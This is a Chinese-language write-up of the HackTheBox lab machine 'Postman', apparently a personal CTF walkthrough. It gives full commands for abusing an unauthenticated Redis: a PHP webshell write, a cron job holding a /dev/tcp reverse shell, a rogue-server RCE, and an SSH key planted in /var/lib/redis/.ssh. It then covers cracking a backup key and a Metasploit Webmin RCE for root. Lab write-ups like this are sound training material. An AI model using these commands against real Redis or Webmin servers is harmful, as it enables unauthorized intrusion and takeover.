Hackthebox靶机—Postman
-
获取内网ip
-
对靶机进行信息探测
-
发现存在四个端口开放(22,80,6379,10000),80端口和10000端口都是http服务,打开浏览器查看内容。
-
10000端口上起的服务是wenmin,使用searchspolit搜索存在漏洞,打开msfconsole,找到该模块,发现参数中需要账号密码,在浏览器上尝试一些弱密码都失败了,这里可能不是我们的突破口
-
使用dirb、nikto或者gobuster对80端口目录进行探测,存在一些upload文件夹等,但是都无法利用,这里还有一个服务可以利用!
-
redis服务,在网上存在有大量没有安全配置的redis使用了root权限,无密码或者弱密码。这些redis连接在公网上就很容易泄露机密信息,存在很高被黑的风险,基于这种redis服务存在四种利用方式(想要远程连接redis需要现在本地下载安装redis)
-
第一种方法:利用方式上传wellshell,需要的权限不高但是需要能够访问到/var/www/html目录,但是这个靶机上的redis权限不够会报错,所以这个方式无法利用
redis-cli -h host -p port -a password #-h 服务器地址 -p 端口号 -a 密码 set 1 '<?php phpinfo();?>' CONFIG set dir '/var/www/html' #保存在web目录下 CONFIG set dbfilename a.php #文件名为a.php save
-
第二种方法:利用定时任务反弹shell。需要开启nc监听4444端口,由于权限太低失败。
redis-cli -h host -p port -a password #-h 服务器地址 -p 端口号 -a 密码 set 1 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/本地ip地址/4444 0>&1\n\n" CONFIG set dir '/var/www/html' #保存在web目录下 CONFIG set dbfilename a.php #文件名为a.php save
-
第三种方式:利用Redis基于主从复制的 RCE 利用方式,具体内参考https://blog.youkuaiyun.com/systemino/article/details/95913371,下载需要的两个代码模块https://github.com/LoRexxar/redis-rogue-server和https://github.com/n0b0dyCN/RedisModules-ExecuteCommand。在RedisModules-ExecuteCommand-master中使用make命令会自动编译生成一个module.so文件,当我在本地以
./redis-server --loadmodule ./module.so
启动时就可以直接执行系统命令了接下去使用redis-rogue-server.py直接执行脚本,可能会报错把需要的python包下载一下就可以解决
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>
。但是在这个靶机上也执行失败了,好像msf上是有这个模块的,可以直接去尝试一下 -
最后就是利用"公钥私钥"获取权限,网上的教程都是将生成的authorized_keys写到/root/.ssh下,肯定是没有权限的,突破口就在这里在论坛上的老哥们的帮助下我知道了redis用户也可以进行ssh登录并且ssh的主目录就是在redis使用
config get dir
获取到的目录/var/lib/redis
下且存在一个/.ssh目录,将文件保存在这个文件下就可以使用Redis用户进行ssh登录了。这里提供一个直接可以利用的脚本,执行时加上redis和ip地址 https://github.com/Avinash-acid/Redis-Server-Exploit/blob/master/redis.pyssh-keygen -t rsa #生成公私钥 (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt #在公钥前加上\n cat 1.txt | redis-cli -h 10.10.10.160 -x set cracklist 10.10.10.160:6379> config set dir /var/lib/redis/.ssh 10.10.10.160:6379> config set dbfilename authorized_keys 10.10.10.160:6379> save ssh -i id_rsa redis@10.10.10.160
-
获得redis的shell之后,可以发现home目录下存在一个用户文件夹/Matt,里面有一个user.txt但是没有权限可以查看。在opt目录下有一个id_rsa.bak文件查看里面的内容可以下载到本机上使用ssh2john将该文件转换为john可以执行的文件具体查看我的文章靶机攻击(1),里面有具体操作过程,可以获取到一个密码
computer2008
。 -
想到用ssh登录用户是Matt但是只要是使用了加密的id_rsa登录还是直接用密码都会立马断开连接,这时候想到10000端口上,尝试登录成功!
-
使用msfcosole上的
exploit/linux/http/webmin_packageup_rce
模块,将参数填写上去直接run,就可以获得root权限了,记得ssl需要改成true!